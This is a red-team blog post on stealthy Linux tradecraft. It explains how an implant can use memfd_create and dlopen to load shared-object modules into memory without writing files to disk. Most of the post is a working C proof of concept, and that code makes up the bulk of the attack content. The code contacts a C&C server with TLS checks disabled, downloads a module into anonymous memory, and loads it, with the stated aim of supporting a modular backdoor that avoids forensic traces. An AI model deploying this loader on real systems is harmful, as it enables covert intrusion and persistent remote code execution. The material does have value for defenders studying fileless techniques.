Loading "fileless" Shared Objects (memfd_create + dlopen) 2018-02-02 12:00:00 +0000

In our exercises as Red Team we always try to keep our tracks at minimum. The deployment of tools and implants is mandatory when we earn access to a system, but we need to avoid to drop unnecesary files in the machine. In other words: it is far better if you can load and run your tools from memory without touch disk.

There are pretty good articles about how to map a file to memory and then execute it (or, in the case of a shared object, load it). In this post we will just show a simple example using a syscall “recently” added. This very same topic was explained in this cool post (Super-Stealthy Droppers) by 0x00Sec.

Memfd_create Syscall

The syscall that we are using to do the dirty job is memfd_create. This syscall provide an easy way to get a file descriptor for anonymous memory without requiring a local tmpfs mount-point. In words of the developers:

“memfd_create does not require a local mount-point. It can create objects that are not associated with any filesystem and can never be linked into a filesystem. The backing memory is anonymous memory as if malloc(3) had returned a file-descriptor instead of a pointer. Note that even shm_open(3) requires /dev/shm to be a tmpfs-mount.”

Memfd_create was introduced in kernel 3.17, so it is a bit “recent”. We can use as an alternative (far less “funky” way) what the developers indicate in the last line: for kernels < 3.17, just use shm_open instead (not so “fileless” but still being a nice trick).

The syntax is pretty straighforward:

int memfd_create ( const char * name , unsigned int flags );

Loading shared objects

As we said in the introduction, when we earn acces to a system we need to deploy tools and implants. In the case of implants -and depending on the scenary- a good idea is to keep just a minimum skeleton as persistence. This minimal skeleton it is just the persistence itself and a mechanism to reach the C&C and download different modules to memory. In this way we have a modular backdoor that loads dynamically every portion of code needed (for example a module to scrap memory, another to parasite processes, port-scanner, etc..).

In order to load dynamically code we can program a very simple plugin system that loads shared objects (.so) and register new functionalities. We can use dlopen() to this approach because it admits a file descriptor as paramater :). So here is the mix:

Contact C&C and download a module

Open a file descriptor to a memory region and write there the .so

Use dlopen() with that file descriptor to load the new code

Profit

Of course this approach is pretty “lazy”, but still being a valid trick to use in our operations.

PoC || GTFO

Here is a simple example of how it can be done

/* Skeleton PoC */ #define _GNU_SOURCE #include <curl/curl.h> #include <dlfcn.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/utsname.h> #include <unistd.h> #define SHM_NAME "IceIceBaby" #define __NR_memfd_create 319 // https://code.woboq.org/qt5/include/asm/unistd_64.h.html // Wrapper to call memfd_create syscall static inline int memfd_create ( const char * name , unsigned int flags ) { return syscall ( __NR_memfd_create , name , flags ); } // Detect if kernel is < or => than 3.17 // Ugly as hell, probably I was drunk when I coded it int kernel_version () { struct utsname buffer ; uname ( & buffer ); char * token ; char * separator = "." ; token = strtok ( buffer . release , separator ); if ( atoi ( token ) < 3 ) { return 0 ; } else if ( atoi ( token ) > 3 ){ return 1 ; } token = strtok ( NULL , separator ); if ( atoi ( token ) < 17 ) { return 0 ; } else { return 1 ; } } // Returns a file descriptor where we can write our shared object int open_ramfs ( void ) { int shm_fd ; //If we have a kernel < 3.17 // We need to use the less fancy way if ( kernel_version () == 0 ) { shm_fd = shm_open ( SHM_NAME , O_RDWR | O_CREAT , S_IRWXU ); if ( shm_fd < 0 ) { //Something went wrong :( fprintf ( stderr , "[-] Could not open file descriptor

" ); exit ( - 1 ); } } // If we have a kernel >= 3.17 // We can use the funky style else { shm_fd = memfd_create ( SHM_NAME , 1 ); if ( shm_fd < 0 ) { //Something went wrong :( fprintf ( stderr , "[- Could not open file descriptor

" ); exit ( - 1 ); } } return shm_fd ; } // Callback to write the shared object size_t write_data ( void * ptr , size_t size , size_t nmemb , int shm_fd ) { if ( write ( shm_fd , ptr , nmemb ) < 0 ) { fprintf ( stderr , "[-] Could not write file :'(

" ); close ( shm_fd ); exit ( - 1 ); } printf ( "[+] File written!

" ); } // Download our share object from a C&C via HTTPs int download_to_RAM ( char * download ) { CURL * curl ; CURLcode res ; int shm_fd ; shm_fd = open_ramfs (); // Give me a file descriptor to memory printf ( "[+] File Descriptor Shared Memory created!

" ); // We use cURL to download the file // It's easy to use and we avoid to write unnecesary code curl = curl_easy_init (); if ( curl ) { curl_easy_setopt ( curl , CURLOPT_URL , download ); curl_easy_setopt ( curl , CURLOPT_SSL_VERIFYPEER , 0L ); curl_easy_setopt ( curl , CURLOPT_SSL_VERIFYHOST , 0L ); curl_easy_setopt ( curl , CURLOPT_USERAGENT , "Too lazy to search for one" ); curl_easy_setopt ( curl , CURLOPT_WRITEFUNCTION , write_data ); //Callback curl_easy_setopt ( curl , CURLOPT_WRITEDATA , shm_fd ); //Args for our callback // Do the HTTPs request! res = curl_easy_perform ( curl ); if ( res != CURLE_OK && res != CURLE_WRITE_ERROR ) { fprintf ( stderr , "[-] cURL failed: %s

" , curl_easy_strerror ( res )); close ( shm_fd ); exit ( - 1 ); } curl_easy_cleanup ( curl ); return shm_fd ; } } // Load the shared object void load_so ( int shm_fd ) { char path [ 1024 ]; void * handle ; printf ( "[+] Trying to load Shared Object!

" ); if ( kernel_version () == 1 ) { //Funky way snprintf ( path , 1024 , "/proc/%d/fd/%d" , getpid (), shm_fd ); } else { // Not funky way :( close ( shm_fd ); snprintf ( path , 1024 , "/dev/shm/%s" , SHM_NAME ); } handle = dlopen ( path , RTLD_LAZY ); if ( ! handle ) { fprintf ( stderr , "[-] Dlopen failed with error: %s

" , dlerror ()); } } int main ( int argc , char ** argv ) { char * url = "https://localhost:4443/module1.so" ; int fd ; printf ( "[+] Trying to reach C&C & start download...

" ); fd = download_to_RAM ( url ); load_so ( fd ); exit ( 0 ); }

Just to test it we can use something like:

/* Shared Library Test */ #include <stdio.h> void __attribute__ (( constructor )) alert_init ( void ); void alert_init ( void ) { fprintf ( stderr , "[+] Module was loaded correctly

" ); }

$ ./poc [+] Trying to reach C&C & start download... [+] File Descriptor Shared Memory created! [+] File written! [+] Trying to load Shared Object! [+] Module was loaded correctly

Final words

I hope this trick can be useful for you. Maybe I made some typos or minor errors, feel free to ping me at twitter @TheXC3LL.

Byt3z!